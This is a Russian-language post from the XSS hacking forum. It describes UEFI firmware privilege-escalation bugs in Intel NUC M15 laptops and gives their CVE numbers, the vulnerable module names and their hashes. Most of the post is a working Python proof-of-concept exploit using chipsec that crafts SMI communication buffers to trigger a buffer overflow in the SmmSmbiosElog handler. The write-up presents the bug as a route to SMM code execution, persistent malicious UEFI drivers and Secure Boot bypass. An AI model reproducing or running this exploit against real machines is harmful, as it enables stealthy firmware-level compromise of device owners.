• XSS.stack #1 – первый литературный журнал от юзеров форума

Local LPE, Intel NUC M15 (UEFI), CVE-2022-40261 & INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)

atavism

HalReturnToBorderline
Premium
Регистрация
03.05.2020
Сообщения
150
Реакции
85
Депозит
0.0016
CVE's: CVE-2022-40261 & INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)
Уязвимая среда: Прошивка ноутбуков Intel NUC M15 (до BC0076), AMI Aptio 5.x
Вендор: Intel
Тип уязвимостей: LPE
1. CVE-2022-40261
CWE:
CWE-119 (Классическое переполнение буффера)
Опасность (CVSS): 8.2
Описание: Атакующий может проэксплуатировать уязвимости для повышения привилегий с режима ядра (Kernel Mode/Ring 0) до режима SMM (System Management Mode, Ring -2). SMM - привилегированный режим, работающий в собственном контексте отдельно от работающей ОС (здесь не имеет смысла отмечать, какая именно ОС, бага ниже ядра). Выполняя произвольный код в SMM, атакующий может обойти защиту чипа SPI, что позволит ему установить вредоносный UEFI-драйвер, который будет запущен в DXE (Driver Execution Environment), а также обеспечивая перзистентность даже при переустановке ОС. Уязвимости также могут быть использованы для обхода механизмы защиты, предоставляемые UEFI, например Secure Boot.
2. INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)
СWE:
CWE-120 (Неправильное ограничение операций в пределах буфера памяти)
Опасность (CVSS): 7.8
Описание: Неправильное ограничение буфера в прошивке некоторых комплектов для ноутбуков Intel(R) NUC (до версии BC0076) может позволить привилегированному пользователю осуществить повышение привилегий.
Уязвимые модули:
CVE
Module name
SHA256
Module GUID
CVE-2022-40261​
OverClockSmiHandler​
a204699576e1a48ce915d9d9423380c8e4c197003baf9d17e6504f0265f3039c​
4698C2BD-A903-410E-AD1F-5EEF3A1AE422​
INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)​
SmmSmbiosElog​
3a8acb4f9bddccb19ec3b22b22ad97963711550f76b27b606461cd5073a93b59​
8e61fd6b-7a8b-404f-b83f-aa90a47cabdf​
PoC's:
CVE-2022-40261: Для CVE-2022-40261 на данный момент PoC не существует.
INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250):
Python:
import os
import struct
import sys

sys.path.append(os.path.join(os.path.dirname(__file__), ".."))
import ctypes

import chipsec
import chipsec.chipset
import hexdump
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI

cs = chipsec.chipset.cs()
cs.init(None, True, True)
intr = Interrupts(cs)
uefi = UEFI(cs)

rtcode_start = 0x000000005A73B000  # from memmap
rtcode_end = 0x000000005A7FEFFF

AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID = "9c72f7fb-86b6-406f-b86e-f3809a86c138"


class CommBufferStructureCase4(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("Command", ctypes.c_uint64),
        ("Arg1", ctypes.c_uint64),
        ("Arg2", ctypes.c_uint64),
        ("Arg3", ctypes.c_uint64),
        ("StatusCode", ctypes.c_uint64),
    ]


class CommBufferStructureCase1(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("Command", ctypes.c_uint64),  # 0x00
        ("Arg1", ctypes.c_uint64),  # 0x08
        ("Arg2", ctypes.c_uint32),  # 0x10
        ("Arg3", ctypes.c_uint8),  # 0x14
        ("Undefined", ctypes.c_uint8 * 3),
        ("Arg4", ctypes.c_uint64),  # 0x18
        ("Arg5", ctypes.c_uint64),  # 0x20
        ("StatusCode", ctypes.c_uint64),  # 0x28
    ]


def locate_smmc(rtcode_start, rtcode_end):
    # locate SMM_CORE_PRIVATE_DATA
    data = cs.helper.read_physical_mem(rtcode_start, rtcode_end - rtcode_start + 1)
    smmc_offset = data.find(b"smmc")
    smmc_loc = rtcode_start + smmc_offset

    return smmc_loc


smmc_loc = locate_smmc(rtcode_start, rtcode_end)


def set_flag_api4():
    # setup for communication buffer
    payload_loc = 0x53000000
    buffer_loc = payload_loc + 24  # CommBuffer address

    arg2_addr = payload_loc + 64
    arg3_addr = payload_loc + 65
    cs.helper.write_physical_mem(arg2_addr, 8, struct.pack("<Q", 1))

    buffer = CommBufferStructureCase4()
    buffer.Command = 4
    buffer.Arg1 = 0  # if ( Arg1 ) return EFI_NOT_FOUND
    buffer.Arg2 = arg2_addr  # FlagValue = *Arg2 == 1
    buffer.Arg3 = arg3_addr  # *Arg3 = FlagValue
    buffer.StatusCode = -1

    buffer_size = len(bytes(buffer))

    print(f"Buffer before:")
    hexdump.hexdump(bytes(buffer))

    # trigger handler
    ReturnStatus = intr.send_smmc_SMI(
        smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
    )
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
    print(f"Handler return status: {status}")

    data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
    print(f"Buffer after:")
    hexdump.hexdump(data)

    api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x20, 8)
    api_status = struct.unpack("<Q", api_status_value)[0]
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
    print(f"API return status: {status}")

    flag_value = cs.helper.read_physical_mem(arg3_addr, 1)
    flag = struct.unpack("<B", flag_value)[0]
    print(f"Flag value: {flag}")


def vuln_api1():
    # setup for communication buffer
    payload_loc = 0x53000000
    buffer_loc = payload_loc + 24  # CommBuffer address

    arg5_addr = payload_loc + 120
    arg1_addr = payload_loc + 128
    cs.helper.write_physical_mem(
        arg1_addr, 1, struct.pack("<B", 0xE2)
    )  # if ( *Arg1 == 0xE2 )
    cs.helper.write_physical_mem(
        arg1_addr + 1, 1, struct.pack("<B", 0x81)
    )  # Value = *(Arg1 + 1)

    buffer = CommBufferStructureCase1()
    buffer.Command = 1
    buffer.Arg1 = arg1_addr
    buffer.Arg2 = 0  # if ( Arg2 ) return EFI_NOT_FOUND
    buffer.Arg3 = 0  # any value
    buffer.Arg4 = 1337  # CopyMem size param
    buffer.Arg5 = arg5_addr
    buffer.StatusCode = -1

    buffer_size = len(bytes(buffer))

    print(f"Buffer before:")
    hexdump.hexdump(bytes(buffer))

    # trigger handler
    ReturnStatus = intr.send_smmc_SMI(
        smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
    )
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
    print(f"Handler return status: {status}")

    data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
    print(f"Buffer after:")
    hexdump.hexdump(data)

    api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x28, 8)
    api_status = struct.unpack("<Q", api_status_value)[0]
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
    print(f"API return status: {status}")


if __name__ == "__main__":
    set_flag_api4()  # set gFlag
    vuln_api1()
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх